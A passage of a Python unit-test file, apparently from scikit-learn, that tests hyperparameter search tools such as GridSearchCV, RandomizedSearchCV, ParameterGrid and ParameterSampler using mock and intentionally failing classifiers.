from sklearn.model_selection import StratifiedKFold
from sklearn.model_selection import StratifiedShuffleSplit
from sklearn.model_selection import LeaveOneLabelOut
from sklearn.model_selection import LeavePLabelOut
from sklearn.model_selection import LabelKFold
from sklearn.model_selection import LabelShuffleSplit
from sklearn.model_selection import GridSearchCV
from sklearn.model_selection import RandomizedSearchCV
from sklearn.model_selection import ParameterGrid
from sklearn.model_selection import ParameterSampler

from sklearn.model_selection._validation import FitFailedWarning

from sklearn.svm import LinearSVC, SVC
from sklearn.tree import DecisionTreeRegressor
from sklearn.tree import DecisionTreeClassifier
from sklearn.cluster import KMeans
from sklearn.neighbors import KernelDensity
from sklearn.metrics import f1_score
from sklearn.metrics import make_scorer
from sklearn.metrics import roc_auc_score
from sklearn.preprocessing import Imputer
from sklearn.pipeline import Pipeline


# Neither of the following two estimators inherit from BaseEstimator,
# to test hyperparameter search on user-defined classifiers.
class MockClassifier(object):
    """Dummy classifier to test the parameter search algorithms"""
    def __init__(self, foo_param=0):
        self.foo_param = foo_param

    def fit(self, X, Y):
        assert_true(len(X) == len(Y))
        return self

    def predict(self, T):
        return T.shape[0]

    predict_proba = predict
    decision_function = predict
    transform = predict

    def score(self, X=None, Y=None):
        if self.foo_param > 1:
            score = 1.
        else:
            score = 0.
        return score

    def get_params(self, deep=False):
        return {'foo_param': self.foo_param}

    def set_params(self, **params):
        self.foo_param = params['foo_param']
        return self


class LinearSVCNoScore(LinearSVC):
    """An LinearSVC classifier that has no score method."""
    @property
    def score(self):
        raise AttributeError

X = np.array([[-1, -1], [-2, -1], [1, 1], [2, 1]])
y = np.array([1, 1, 2, 2])


def assert_grid_iter_equals_getitem(grid):
    assert_equal(list(grid), [grid[i] for i in range(len(grid))])


def test_parameter_grid():
    # Test basic properties of ParameterGrid.
    params1 = {"foo": [1, 2, 3]}
    grid1 = ParameterGrid(params1)
    assert_true(isinstance(grid1, Iterable))
    assert_true(isinstance(grid1, Sized))
    assert_equal(len(grid1), 3)
    assert_grid_iter_equals_getitem(grid1)

    params2 = {"foo": [4, 2],
               "bar": ["ham", "spam", "eggs"]}
    grid2 = ParameterGrid(params2)
    assert_equal(len(grid2), 6)

    # loop to assert we can iterate over the grid multiple times
    for i in xrange(2):
        # tuple + chain transforms {"a": 1, "b": 2} to ("a", 1, "b", 2)
        points = set(tuple(chain(*(sorted(p.items())))) for p in grid2)
        assert_equal(points,
                     set(("bar", x, "foo", y)
                         for x, y in product(params2["bar"], params2["foo"])))
    assert_grid_iter_equals_getitem(grid2)

    # Special case: empty grid (useful to get default estimator settings)
    empty = ParameterGrid({})
    assert_equal(len(empty), 1)
    assert_equal(list(empty), [{}])
    assert_grid_iter_equals_getitem(empty)
    assert_raises(IndexError, lambda: empty[1])

    has_empty = ParameterGrid([{'C': [1, 10]}, {}, {'C': [.5]}])
    assert_equal(len(has_empty), 4)
    assert_equal(list(has_empty), [{'C': 1}, {'C': 10}, {}, {'C': .5}])
    assert_grid_iter_equals_getitem(has_empty)


def test_grid_search():
    # Test that the best estimator contains the right value for foo_param
    clf = MockClassifier()
    grid_search = GridSearchCV(clf, {'foo_param': [1, 2, 3]}, verbose=3)
    # make sure it selects the smallest parameter in case of ties
    old_stdout = sys.stdout
    sys.stdout = StringIO()
    grid_search.fit(X, y)
    sys.stdout = old_stdout
    assert_equal(grid_search.best_estimator_.foo_param, 2)

    assert_array_equal(grid_search.results_["param_foo_param"].data, [1, 2, 3])

    # Smoke test the score etc:
    grid_search.score(X, y)
    grid_search.predict_proba(X)
    grid_search.decision_function(X)
    grid_search.transform(X)

    # Test exception handling on scoring
    grid_search.scoring = 'sklearn'
    assert_raises(ValueError, grid_search.fit, X, y)


@ignore_warnings
def test_grid_search_no_score():
    # Test grid-search on classifier that has no score function.
    clf = LinearSVC(random_state=0)
    X, y = make_blobs(random_state=0, centers=2)
    Cs = [.1, 1, 10]
    clf_no_score = LinearSVCNoScore(random_state=0)
    grid_search = GridSearchCV(clf, {'C': Cs}, scoring='accuracy')
    grid_search.fit(X, y)

    grid_search_no_score = GridSearchCV(clf_no_score, {'C': Cs},
                                        scoring='accuracy')
    # smoketest grid search
    grid_search_no_score.fit(X, y)

    # check that best params are equal
    assert_equal(grid_search_no_score.best_params_, grid_search.best_params_)
    # check that we can call score and that it gives the correct result
    assert_equal(grid_search.score(X, y), grid_search_no_score.score(X, y))

    # giving no scoring function raises an error
    grid_search_no_score = GridSearchCV(clf_no_score, {'C': Cs})
    assert_raise_message(TypeError, "no scoring", grid_search_no_score.fit,
                         [[1]])


def test_grid_search_score_method():
    X, y = make_classification(n_samples=100, n_classes=2, flip_y=.2,
                               random_state=0)
    clf = LinearSVC(random_state=0)
    grid = {'C': [.1]}

    search_no_scoring = GridSearchCV(clf, grid, scoring=None).fit(X, y)
    search_accuracy = GridSearchCV(clf, grid, scoring='accuracy').fit(X, y)
    search_no_score_method_auc = GridSearchCV(LinearSVCNoScore(), grid,
                                              scoring='roc_auc').fit(X, y)
    search_auc = GridSearchCV(clf, grid, scoring='roc_auc').fit(X, y)

    # Check warning only occurs in situation where behavior changed:
    # estimator requires score method to compete with scoring parameter
    score_no_scoring = search_no_scoring.score(X, y)
    score_accuracy = search_accuracy.score(X, y)
    score_no_score_auc = search_no_score_method_auc.score(X, y)
    score_auc = search_auc.score(X, y)

    # ensure the test is sane
    assert_true(score_auc < 1.0)
    assert_true(score_accuracy < 1.0)
    assert_not_equal(score_auc, score_accuracy)

    assert_almost_equal(score_accuracy, score_no_scoring)
    assert_almost_equal(score_auc, score_no_score_auc)


def test_grid_search_labels():
    # Check if ValueError (when labels is None) propagates to GridSearchCV
    # And also check if labels is correctly passed to the cv object
    rng = np.random.RandomState(0)

    X, y = make_classification(n_samples=15, n_classes=2, random_state=0)
    labels = rng.randint(0, 3, 15)

    clf = LinearSVC(random_state=0)
    grid = {'C': [1]}

    label_cvs = [LeaveOneLabelOut(), LeavePLabelOut(2), LabelKFold(),
                 LabelShuffleSplit()]
    for cv in label_cvs:
        gs = GridSearchCV(clf, grid, cv=cv)
        assert_raise_message(ValueError,
                             "The labels parameter should not be None",
                             gs.fit, X, y)
        gs.fit(X, y, labels)

    non_label_cvs = [StratifiedKFold(), StratifiedShuffleSplit()]
    for cv in non_label_cvs:
        gs = GridSearchCV(clf, grid, cv=cv)
        # Should not raise an error
        gs.fit(X, y)


def test_trivial_results_attr():
    # Test search over a "grid" with only one point.
    # Non-regression test: grid_scores_ wouldn't be set by GridSearchCV.
    clf = MockClassifier()
    grid_search = GridSearchCV(clf, {'foo_param': [1]})
    grid_search.fit(X, y)
    assert_true(hasattr(grid_search, "results_"))

    random_search = RandomizedSearchCV(clf, {'foo_param': [0]}, n_iter=1)
    random_search.fit(X, y)
    assert_true(hasattr(grid_search, "results_"))


def test_no_refit():
    # Test that GSCV can be used for model selection alone without refitting
    clf = MockClassifier()
    grid_search = GridSearchCV(clf, {'foo_param': [1, 2, 3]}, refit=False)
    grid_search.fit(X, y)
    assert_true(not hasattr(grid_search, "best_estimator_") and
                hasattr(grid_search, "best_index_") and
                hasattr(grid_search, "best_params_"))


def test_grid_search_error():
    # Test that grid search will capture errors on data with different length
    X_, y_ = make_classification(n_samples=200, n_features=100, random_state=0)

    clf = LinearSVC()
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]})
    assert_raises(ValueError, cv.fit, X_[:180], y_)


def test_grid_search_one_grid_point():
    X_, y_ = make_classification(n_samples=200, n_features=100, random_state=0)
    param_dict = {"C": [1.0], "kernel": ["rbf"], "gamma": [0.1]}

    clf = SVC()
    cv = GridSearchCV(clf, param_dict)
    cv.fit(X_, y_)

    clf = SVC(C=1.0, kernel="rbf", gamma=0.1)
    clf.fit(X_, y_)

    assert_array_equal(clf.dual_coef_, cv.best_estimator_.dual_coef_)


def test_grid_search_bad_param_grid():
    param_dict = {"C": 1.0}
    clf = SVC()
    assert_raises(ValueError, GridSearchCV, clf, param_dict)

    param_dict = {"C": []}
    clf = SVC()
    assert_raises(ValueError, GridSearchCV, clf, param_dict)

    param_dict = {"C": np.ones(6).reshape(3, 2)}
    clf = SVC()
    assert_raises(ValueError, GridSearchCV, clf, param_dict)


def test_grid_search_sparse():
    # Test that grid search works with both dense and sparse matrices
    X_, y_ = make_classification(n_samples=200, n_features=100, random_state=0)

    clf = LinearSVC()
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]})
    cv.fit(X_[:180], y_[:180])
    y_pred = cv.predict(X_[180:])
    C = cv.best_estimator_.C

    X_ = sp.csr_matrix(X_)
    clf = LinearSVC()
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]})
    cv.fit(X_[:180].tocoo(), y_[:180])
    y_pred2 = cv.predict(X_[180:])
    C2 = cv.best_estimator_.C

    assert_true(np.mean(y_pred == y_pred2) >= .9)
    assert_equal(C, C2)


def test_grid_search_sparse_scoring():
    X_, y_ = make_classification(n_samples=200, n_features=100, random_state=0)

    clf = LinearSVC()
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]}, scoring="f1")
    cv.fit(X_[:180], y_[:180])
    y_pred = cv.predict(X_[180:])
    C = cv.best_estimator_.C

    X_ = sp.csr_matrix(X_)
    clf = LinearSVC()
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]}, scoring="f1")
    cv.fit(X_[:180], y_[:180])
    y_pred2 = cv.predict(X_[180:])
    C2 = cv.best_estimator_.C

    assert_array_equal(y_pred, y_pred2)
    assert_equal(C, C2)
    # Smoke test the score
    # np.testing.assert_allclose(f1_score(cv.predict(X_[:180]), y[:180]),
    #                            cv.score(X_[:180], y[:180]))

    # test loss where greater is worse
    def f1_loss(y_true_, y_pred_):
        return -f1_score(y_true_, y_pred_)
    F1Loss = make_scorer(f1_loss, greater_is_better=False)
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]}, scoring=F1Loss)
    cv.fit(X_[:180], y_[:180])
    y_pred3 = cv.predict(X_[180:])
    C3 = cv.best_estimator_.C

    assert_equal(C, C3)
    assert_array_equal(y_pred, y_pred3)


def test_grid_search_precomputed_kernel():
    # Test that grid search works when the input features are given in the
    # form of a precomputed kernel matrix
    X_, y_ = make_classification(n_samples=200, n_features=100, random_state=0)

    # compute the training kernel matrix corresponding to the linear kernel
    K_train = np.dot(X_[:180], X_[:180].T)
    y_train = y_[:180]

    clf = SVC(kernel='precomputed')
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]})
    cv.fit(K_train, y_train)

    assert_true(cv.best_score_ >= 0)

    # compute the test kernel matrix
    K_test = np.dot(X_[180:], X_[:180].T)
    y_test = y_[180:]

    y_pred = cv.predict(K_test)

    assert_true(np.mean(y_pred == y_test) >= 0)

    # test error is raised when the precomputed kernel is not array-like
    # or sparse
    assert_raises(ValueError, cv.fit, K_train.tolist(), y_train)


def test_grid_search_precomputed_kernel_error_nonsquare():
    # Test that grid search returns an error with a non-square precomputed
    # training kernel matrix
    K_train = np.zeros((10, 20))
    y_train = np.ones((10, ))
    clf = SVC(kernel='precomputed')
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]})
    assert_raises(ValueError, cv.fit, K_train, y_train)


def test_grid_search_precomputed_kernel_error_kernel_function():
    # Test that grid search returns an error when using a kernel_function
    X_, y_ = make_classification(n_samples=200, n_features=100, random_state=0)
    kernel_function = lambda x1, x2: np.dot(x1, x2.T)
    clf = SVC(kernel=kernel_function)
    cv = GridSearchCV(clf, {'C': [0.1, 1.0]})
    assert_raises(ValueError, cv.fit, X_, y_)


class BrokenClassifier(BaseEstimator):
    """Broken classifier that cannot be fit twice"""

    def __init__(self, parameter=None):
        self.parameter = parameter

    def fit(self, X, y):
        assert_true(not hasattr(self, 'has_been_fit_'))
        self.has_been_fit_ = True

    def predict(self, X):
        return np.zeros(X.shape[0])


@ignore_warnings
def test_refit():
    # Regression test for bug in refitting
    # Simulates re-fitting a broken estimator; this used to break with
    # sparse SVMs.
    X = np.arange(100).reshape(10, 10)
    y = np.array([0] * 5 + [1] * 5)

    clf = GridSearchCV(BrokenClassifier(), [{'parameter': [0, 1]}],
                       scoring="precision", refit=True)
    clf.fit(X, y)


def test_gridsearch_nd():
    # Pass X as list in GridSearchCV
    X_4d = np.arange(10 * 5 * 3 * 2).reshape(10, 5, 3, 2)
    y_3d = np.arange(10 * 7 * 11).reshape(10, 7, 11)
    check_X = lambda x: x.shape[1:] == (5, 3, 2)
    check_y = lambda x: x.shape[1:] == (7, 11)
    clf = CheckingClassifier(check_X=check_X, check_y=check_y)
    grid_search = GridSearchCV(clf, {'foo_param': [1, 2, 3]})
    grid_search.fit(X_4d, y_3d).score(X, y)
    assert_true(hasattr(grid_search, "results_"))


def test_X_as_list():
    # Pass X as list in GridSearchCV
    X = np.arange(100).reshape(10, 10)
    y = np.array([0] * 5 + [1] * 5)

    clf = CheckingClassifier(check_X=lambda x: isinstance(x, list))
    cv = KFold(n_splits=3)
    grid_search = GridSearchCV(clf, {'foo_param': [1, 2, 3]}, cv=cv)
    grid_search.fit(X.tolist(), y).score(X, y)
    assert_true(hasattr(grid_search, "results_"))


def test_y_as_list():
    # Pass y as list in GridSearchCV
    X = np.arange(100).reshape(10, 10)
    y = np.array([0] * 5 + [1] * 5)

    clf = CheckingClassifier(check_y=lambda x: isinstance(x, list))
    cv = KFold(n_splits=3)
    grid_search = GridSearchCV(clf, {'foo_param': [1, 2, 3]}, cv=cv)
    grid_search.fit(X, y.tolist()).score(X, y)
    assert_true(hasattr(grid_search, "results_"))


@ignore_warnings
def test_pandas_input():
    # check cross_val_score doesn't destroy pandas dataframe
    types = [(MockDataFrame, MockDataFrame)]
    try:
        from pandas import Series, DataFrame
        types.append((DataFrame, Series))
    except ImportError:
        pass

    X = np.arange(100).reshape(10, 10)
    y = np.array([0] * 5 + [1] * 5)

    for InputFeatureType, TargetType in types:
        # X dataframe, y series
        X_df, y_ser = InputFeatureType(X), TargetType(y)
        check_df = lambda x: isinstance(x, InputFeatureType)
        check_series = lambda x: isinstance(x, TargetType)
        clf = CheckingClassifier(check_X=check_df, check_y=check_series)

        grid_search = GridSearchCV(clf, {'foo_param': [1, 2, 3]})
        grid_search.fit(X_df, y_ser).score(X_df, y_ser)
        grid_search.predict(X_df)
        assert_true(hasattr(grid_search, "results_"))


def test_unsupervised_grid_search():
    # test grid-search with unsupervised estimator
    X, y = make_blobs(random_state=0)
    km = KMeans(random_state=0)
    grid_search = GridSearchCV(km, param_grid=dict(n_clusters=[2, 3, 4]),
                               scoring='adjusted_rand_score')
    grid_search.fit(X, y)
    # ARI can find the right number :)
    assert_equal(grid_search.best_params_["n_clusters"], 3)

    # Now without a score, and without y
    grid_search = GridSearchCV(km, param_grid=dict(n_clusters=[2, 3, 4]))
    grid_search.fit(X)
    assert_equal(grid_search.best_params_["n_clusters"], 4)


def test_gridsearch_no_predict():
    # test grid-search with an estimator without predict.
    # slight duplication of a test from KDE
    def custom_scoring(estimator, X):
        return 42 if estimator.bandwidth == .1 else 0
    X, _ = make_blobs(cluster_std=.1, random_state=1,
                      centers=[[0, 1], [1, 0], [0, 0]])
    search = GridSearchCV(KernelDensity(),
                          param_grid=dict(bandwidth=[.01, .1, 1]),
                          scoring=custom_scoring)
    search.fit(X)
    assert_equal(search.best_params_['bandwidth'], .1)
    assert_equal(search.best_score_, 42)


def test_param_sampler():
    # test basic properties of param sampler
    param_distributions = {"kernel": ["rbf", "linear"],
                           "C": uniform(0, 1)}
    sampler = ParameterSampler(param_distributions=param_distributions,
                               n_iter=10, random_state=0)
    samples = [x for x in sampler]
    assert_equal(len(samples), 10)
    for sample in samples:
        assert_true(sample["kernel"] in ["rbf", "linear"])
        assert_true(0 <= sample["C"] <= 1)

    # test that repeated calls yield identical parameters
    param_distributions = {"C": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]}
    sampler = ParameterSampler(param_distributions=param_distributions,
                               n_iter=3, random_state=0)
    assert_equal([x for x in sampler], [x for x in sampler])

    if sp_version >= (0, 16):
        param_distributions = {"C": uniform(0, 1)}
        sampler = ParameterSampler(param_distributions=param_distributions,
                                   n_iter=10, random_state=0)
        assert_equal([x for x in sampler], [x for x in sampler])


def check_results_array_types(results, param_keys, score_keys):
    # Check if the search results' array are of correct types
    assert_true(all(isinstance(results[param], np.ma.MaskedArray)
                    for param in param_keys))
    assert_true(all(results[key].dtype == object for key in param_keys))
    assert_false(any(isinstance(results[key], np.ma.MaskedArray)
                     for key in score_keys))
    assert_true(all(results[key].dtype == np.float64
                    for key in score_keys if key != 'test_rank_score'))
    assert_true(results['test_rank_score'].dtype == np.int32)


def check_results_keys(results, param_keys, score_keys, n_cand):
    # Test the search.results_ contains all the required results
    assert_array_equal(sorted(results.keys()),
                       sorted(param_keys + score_keys + ('params',)))
    assert_true(all(results[key].shape == (n_cand,)
                    for key in param_keys + score_keys))


def check_results_grid_scores_consistency(search):
    # TODO Remove in 0.20
    results = search.results_
    res_scores = np.vstack(list([results["test_split%d_score" % i]
                                 for i in range(search.n_splits_)])).T
    res_means = results["test_mean_score"]
    res_params = results["params"]
    n_cand = len(res_params)
    grid_scores = assert_warns(DeprecationWarning, getattr,
                               search, 'grid_scores_')
    assert_equal(len(grid_scores), n_cand)
    # Check consistency of the structure of grid_scores
    for i in range(n_cand):
        assert_equal(grid_scores[i].parameters, res_params[i])
        assert_array_equal(grid_scores[i].cv_validation_scores,
                           res_scores[i, :])
        assert_array_equal(grid_scores[i].mean_validation_score, res_means[i])


def test_grid_search_results():
    X, y = make_classification(n_samples=50, n_features=4,
                               random_state=42)

    n_splits = 3
    n_grid_points = 6
    params = [dict(kernel=['rbf', ], C=[1, 10], gamma=[0.1, 1]),
              dict(kernel=['poly', ], degree=[1, 2])]
    grid_search = GridSearchCV(SVC(), cv=n_splits, iid=False,
                               param_grid=params)
    grid_search.fit(X, y)
    grid_search_iid = GridSearchCV(SVC(), cv=n_splits, iid=True,
                                   param_grid=params)
    grid_search_iid.fit(X, y)

    param_keys = ('param_C', 'param_degree', 'param_gamma', 'param_kernel')
    score_keys = ('test_mean_score', 'test_rank_score',
                  'test_split0_score', 'test_split1_score',
                  'test_split2_score', 'test_std_score')
    n_candidates = n_grid_points

    for search, iid in zip((grid_search, grid_search_iid), (False, True)):
        assert_equal(iid, search.iid)
        results = search.results_
        # Check results structure
        check_results_array_types(results, param_keys, score_keys)
        check_results_keys(results, param_keys, score_keys, n_candidates)
        # Check masking
        results = grid_search.results_
        n_candidates = len(grid_search.results_['params'])
        assert_true(all((results['param_C'].mask[i] and
                         results['param_gamma'].mask[i] and
                         not results['param_degree'].mask[i])
                        for i in range(n_candidates)
                        if results['param_kernel'][i] == 'linear'))
        assert_true(all((not results['param_C'].mask[i] and
                         not results['param_gamma'].mask[i] and
                         results['param_degree'].mask[i])
                        for i in range(n_candidates)
                        if results['param_kernel'][i] == 'rbf'))
        check_results_grid_scores_consistency(search)


def test_random_search_results():
    # Make a dataset with a lot of noise to get various kind of prediction
    # errors across CV folds and parameter settings
    X, y = make_classification(n_samples=200, n_features=100, n_informative=3,
                               random_state=0)

    # scipy.stats dists now supports `seed` but we still support scipy 0.12
    # which doesn't support the seed. Hence the assertions in the test for
    # random_search alone should not depend on randomization.
    n_splits = 3
    n_search_iter = 30
    params = dict(C=expon(scale=10), gamma=expon(scale=0.1))
    random_search = RandomizedSearchCV(SVC(), n_iter=n_search_iter,
                                       cv=n_splits,
                                       iid=False, param_distributions=params)
    random_search.fit(X, y)
    random_search_iid = RandomizedSearchCV(SVC(), n_iter=n_search_iter,
                                           cv=n_splits, iid=True,
                                           param_distributions=params)
    random_search_iid.fit(X, y)

    param_keys = ('param_C', 'param_gamma')
    score_keys = ('test_mean_score', 'test_rank_score',
                  'test_split0_score', 'test_split1_score',
                  'test_split2_score', 'test_std_score')
    n_cand = n_search_iter

    for search, iid in zip((random_search, random_search_iid), (False, True)):
        assert_equal(iid, search.iid)
        results = search.results_
        # Check results structure
        check_results_array_types(results, param_keys, score_keys)
        check_results_keys(results, param_keys, score_keys, n_cand)
        # For random_search, all the param array vals should be unmasked
        assert_false(any(results['param_C'].mask) or
                     any(results['param_gamma'].mask))
        check_results_grid_scores_consistency(search)


def test_search_iid_param():
    # Test the IID parameter
    # noise-free simple 2d-data
    X, y = make_blobs(centers=[[0, 0], [1, 0], [0, 1], [1, 1]], random_state=0,
                      cluster_std=0.1, shuffle=False, n_samples=80)
    # split dataset into two folds that are not iid
    # first one contains data of all 4 blobs, second only from two.
    mask = np.ones(X.shape[0], dtype=np.bool)
    mask[np.where(y == 1)[0][::2]] = 0
    mask[np.where(y == 2)[0][::2]] = 0
    # this leads to perfect classification on one fold and a score of 1/3 on
    # the other
    # create "cv" for splits
    cv = [[mask, ~mask], [~mask, mask]]
    # once with iid=True (default)
    grid_search = GridSearchCV(SVC(), param_grid={'C': [1, 10]}, cv=cv)
    random_search = RandomizedSearchCV(SVC(), n_iter=2,
                                       param_distributions={'C': [1, 10]},
                                       cv=cv)
    for search in (grid_search, random_search):
        search.fit(X, y)
        assert_true(search.iid)

        # Test the first candidate
        cv_scores = np.array(list(search.results_['test_split%d_score' % s][0]
                                  for s in range(search.n_splits_)))
        mean = search.results_['test_mean_score'][0]
        std = search.results_['test_std_score'][0]

        assert_equal(search.results_['param_C'][0], 1)
        assert_array_almost_equal(cv_scores, [1, 1. / 3.])
        # for first split, 1/4 of dataset is in test, for second 3/4.
        # take weighted average and weighted std
        expected_mean = 1 * 1. / 4. + 1. / 3. * 3. / 4.
        expected_std = np.sqrt(1. / 4 * (expected_mean - 1) ** 2 +
                               3. / 4 * (expected_mean - 1. / 3.) ** 2)
        assert_almost_equal(mean, expected_mean)
        assert_almost_equal(std, expected_std)

    # once with iid=False
    grid_search = GridSearchCV(SVC(),
                               param_grid={'C': [1, 10]},
                               cv=cv, iid=False)
    random_search = RandomizedSearchCV(SVC(), n_iter=2,
                                       param_distributions={'C': [1, 10]},
                                       cv=cv, iid=False)

    for search in (grid_search, random_search):
        search.fit(X, y)
        assert_false(search.iid)

        cv_scores = np.array(list(search.results_['test_split%d_score' % s][0]
                                  for s in range(search.n_splits_)))
        mean = search.results_['test_mean_score'][0]
        std = search.results_['test_std_score'][0]
        assert_equal(search.results_['param_C'][0], 1)
        # scores are the same as above
        assert_array_almost_equal(cv_scores, [1, 1. / 3.])
        # Unweighted mean/std is used
        assert_almost_equal(mean, np.mean(cv_scores))
        assert_almost_equal(std, np.std(cv_scores))


def test_search_results_rank_tie_breaking():
    X, y = make_blobs(n_samples=50, random_state=42)

    # The two C values are close enough to give similar models
    # which would result in a tie of their mean cv-scores
    param_grid = {'C': [1, 1.001, 0.001]}

    grid_search = GridSearchCV(SVC(), param_grid=param_grid)
    random_search = RandomizedSearchCV(SVC(), n_iter=3,
                                       param_distributions=param_grid)

    for search in (grid_search, random_search):
        search.fit(X, y)
        results = search.results_
        # Check tie breaking strategy -
        # Check that there is a tie in the mean scores between
        # candidates 1 and 2 alone
        assert_almost_equal(results['test_mean_score'][0],
                            results['test_mean_score'][1])
        try:
            assert_almost_equal(results['test_mean_score'][1],
                                results['test_mean_score'][2])
        except AssertionError:
            pass
        # 'min' rank should be assigned to the tied candidates
        assert_almost_equal(search.results_['test_rank_score'], [1, 1, 3])


def test_search_results_none_param():
    X, y = [[1], [2], [3], [4], [5]], [0, 0, 0, 0, 1]
    estimators = (DecisionTreeRegressor(), DecisionTreeClassifier())
    est_parameters = {"random_state": [0, None]}
    cv = KFold(random_state=0)

    for est in estimators:
        grid_search = GridSearchCV(est, est_parameters, cv=cv).fit(X, y)
        assert_array_equal(grid_search.results_['param_random_state'],
                           [0, None])


def test_grid_search_correct_score_results():
    # test that correct scores are used
    n_splits = 3
    clf = LinearSVC(random_state=0)
    X, y = make_blobs(random_state=0, centers=2)
    Cs = [.1, 1, 10]
    for score in ['f1', 'roc_auc']:
        grid_search = GridSearchCV(clf, {'C': Cs}, scoring=score, cv=n_splits)
        results = grid_search.fit(X, y).results_

        # Test scorer names
        result_keys = list(results.keys())
        expected_keys = (("test_mean_score", "test_rank_score") +
                         tuple("test_split%d_score" % cv_i
                               for cv_i in range(n_splits)))
        assert_true(all(in1d(expected_keys, result_keys)))

        cv = StratifiedKFold(n_splits=n_splits)
        n_splits = grid_search.n_splits_
        for candidate_i, C in enumerate(Cs):
            clf.set_params(C=C)
            cv_scores = np.array(list(grid_search.results_['test_split%d_score'
                                                           % s][candidate_i]
                                      for s in range(n_splits)))
            for i, (train, test) in enumerate(cv.split(X, y)):
                clf.fit(X[train], y[train])
                if score == "f1":
                    correct_score = f1_score(y[test], clf.predict(X[test]))
                elif score == "roc_auc":
                    dec = clf.decision_function(X[test])
                    correct_score = roc_auc_score(y[test], dec)
                assert_almost_equal(correct_score, cv_scores[i])


def test_pickle():
    # Test that a fit search can be pickled
    clf = MockClassifier()
    grid_search = GridSearchCV(clf, {'foo_param': [1, 2, 3]}, refit=True)
    grid_search.fit(X, y)
    pickle.dumps(grid_search)  # smoke test

    random_search = RandomizedSearchCV(clf, {'foo_param': [1, 2, 3]},
                                       refit=True, n_iter=3)
    random_search.fit(X, y)
    pickle.dumps(random_search)  # smoke test


def test_grid_search_with_multioutput_data():
    # Test search with multi-output estimator

    X, y = make_multilabel_classification(return_indicator=True,
                                          random_state=0)

    est_parameters = {"max_depth": [1, 2, 3, 4]}
    cv = KFold(random_state=0)

    estimators = [DecisionTreeRegressor(random_state=0),
                  DecisionTreeClassifier(random_state=0)]

    # Test with grid search cv
    for est in estimators:
        grid_search = GridSearchCV(est, est_parameters, cv=cv)
        grid_search.fit(X, y)
        res_params = grid_search.results_['params']
        for cand_i in range(len(res_params)):
            est.set_params(**res_params[cand_i])

            for i, (train, test) in enumerate(cv.split(X, y)):
                est.fit(X[train], y[train])
                correct_score = est.score(X[test], y[test])
                assert_almost_equal(
                    correct_score,
                    grid_search.results_['test_split%d_score' % i][cand_i])

    # Test with a randomized search
    for est in estimators:
        random_search = RandomizedSearchCV(est, est_parameters,
                                           cv=cv, n_iter=3)
        random_search.fit(X, y)
        res_params = random_search.results_['params']
        for cand_i in range(len(res_params)):
            est.set_params(**res_params[cand_i])

            for i, (train, test) in enumerate(cv.split(X, y)):
                est.fit(X[train], y[train])
                correct_score = est.score(X[test], y[test])
                assert_almost_equal(
                    correct_score,
                    random_search.results_['test_split%d_score' % i][cand_i])


def test_predict_proba_disabled():
    # Test predict_proba when disabled on estimator.
    X = np.arange(20).reshape(5, -1)
    y = [0, 0, 1, 1, 1]
    clf = SVC(probability=False)
    gs = GridSearchCV(clf, {}, cv=2).fit(X, y)
    assert_false(hasattr(gs, "predict_proba"))


def test_grid_search_allows_nans():
    # Test GridSearchCV with Imputer
    X = np.arange(20, dtype=np.float64).reshape(5, -1)
    X[2, :] = np.nan
    y = [0, 0, 1, 1, 1]
    p = Pipeline([
        ('imputer', Imputer(strategy='mean', missing_values='NaN')),
        ('classifier', MockClassifier()),
    ])
    GridSearchCV(p, {'classifier__foo_param': [1, 2, 3]}, cv=2).fit(X, y)


class FailingClassifier(BaseEstimator):
    """Classifier that raises a ValueError on fit()"""

    FAILING_PARAMETER = 2

    def __init__(self, parameter=None):
        self.parameter = parameter

    def fit(self, X, y=None):
        if self.parameter == FailingClassifier.FAILING_PARAMETER:
            raise ValueError("Failing classifier failed as required")

    def predict(self, X):
        return np.zeros(X.shape[0])


def test_grid_search_failing_classifier():
    # GridSearchCV with on_error != 'raise'
    # Ensures that a warning is raised and score reset where appropriate.

    X, y = make_classification(n_samples=20, n_features=10, random_state=0)

    clf = FailingClassifier()

    # refit=False because we only want to check that errors caused by fits
    # to individual folds will be caught and warnings raised instead. If
    # refit was done, then an exception would be raised on refit and not
    # caught by grid_search (expected behavior), and this would cause an
    # error in this test.
    gs = GridSearchCV(clf, [{'parameter': [0, 1, 2]}], scoring='accuracy',
                      refit=False, error_score=0.0)
    assert_warns(FitFailedWarning, gs.fit, X, y)
    n_candidates = len(gs.results_['params'])
    # Ensure that grid scores were set to zero as required for those fits
    # that are expected to fail.
    get_cand_scores = lambda i: np.array(list(
        gs.results_['test_split%d_score' % s][i] for s in range(gs.n_splits_)))
    assert all((np.all(get_cand_scores(cand_i) == 0.0)
                for cand_i in range(n_candidates)
                if gs.results_['param_parameter'][cand_i] ==
                FailingClassifier.FAILING_PARAMETER))

    gs = GridSearchCV(clf, [{'parameter': [0, 1, 2]}], scoring='accuracy',
                      refit=False, error_score=float('nan'))
    assert_warns(FitFailedWarning, gs.fit, X, y)
    n_candidates = len(gs.results_['params'])
    assert all(np.all(np.isnan(get_cand_scores(cand_i)))
               for cand_i in range(n_candidates)
               if gs.results_['param_parameter'][cand_i] ==
               FailingClassifier.FAILING_PARAMETER)


def test_grid_search_failing_classifier_raise():
    # GridSearchCV with on_error == 'raise' raises the error

    X, y = make_classification(n_samples=20, n_features=10, random_state=0)

    clf = FailingClassifier()

    # refit=False because we want to test the behaviour of the grid search part
    gs = GridSearchCV(clf, [{'parameter': [0, 1, 2]}], scoring='accuracy',
                      refit=False, error_score='raise')

    # FailingClassifier issues a ValueError so this is what we look for.
    assert_raises(ValueError, gs.fit, X, y)


def test_parameters_sampler_replacement():
    # raise error if n_iter too large
    params = {'first': [0, 1], 'second': ['a', 'b', 'c']}
    sampler = ParameterSampler(params, n_iter=7)
    assert_raises(ValueError, list, sampler)
    # degenerates to GridSearchCV if n_iter the same as grid_size
    sampler = ParameterSampler(params, n_iter=6)
    samples = list(sampler)
    assert_equal(len(samples), 6)
    for values in ParameterGrid(params):
        assert_true(values in samples)

    # test sampling without replacement in a large grid
    params = {'a': range(10), 'b': range(10), 'c': range(10)}
    sampler = ParameterSampler(params, n_iter=99, random_state=42)
    samples = list(sampler)
    assert_equal(len(samples), 99)
